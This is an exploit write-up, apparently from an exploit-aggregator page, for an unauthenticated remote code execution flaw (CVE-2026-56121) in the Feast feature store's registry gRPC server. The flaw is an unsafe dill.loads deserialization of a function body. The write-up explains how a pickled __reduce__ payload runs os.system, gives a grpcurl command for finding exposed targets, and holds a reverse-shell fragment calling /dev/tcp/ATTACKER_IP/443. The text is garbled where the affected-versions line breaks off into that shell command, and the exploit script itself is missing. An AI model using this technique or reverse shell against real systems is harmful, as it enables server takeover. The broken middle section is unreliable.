Exploit for CVE-2026-56121

## https://sploitus.com/exploit?id=616145AC-3DA1-577E-ACAA-941D2F197779
# CVE-2026-56121 — Feast Registry Unauthenticated RCE (dill.loads)

Unauthenticated remote code execution in the [Feast](https://github.com/feast-dev/feast)
feature store's **registry gRPC server**.

The `ApplyFeatureView` RPC rebuilds an `OnDemandFeatureView` from the request proto.
Doing so base64-decodes `spec.user_defined_function.body` and passes it to
**`dill.loads()`** — **before any authorization check**. `dill` is a superset of
`pickle`, so an object whose `__reduce__` returns `(os.system, (cmd,))` executes an
arbitrary command the moment the server deserializes it. The default deployment ships
`auth: no_auth`, so a single unauthenticated gRPC request to the registry port is enough.

- **Affected:** Feast `& /dev/tcp/ATTACKER_IP/443 0>&1"'
```

`-p/--project` sets the project name (default `feature_repo`). Command output prints on
the registry host's stdout/journal, so use a reverse shell or write to a readable path to
observe results.

## Identifying a target

The registry has gRPC reflection enabled:

```bash
grpcurl -plaintext 10.10.10.10:6570 list
# feast.registry.RegistryServer
# grpc.health.v1.Health
# grpc.reflection.v1alpha.ServerReflection
```

## Remediation

Upgrade to Feast **0.63.0+**, enable an auth backend, and never expose the registry gRPC
port to untrusted networks.

## Disclaimer

For authorized security testing and education only. Use it only against systems you own
or have explicit permission to test.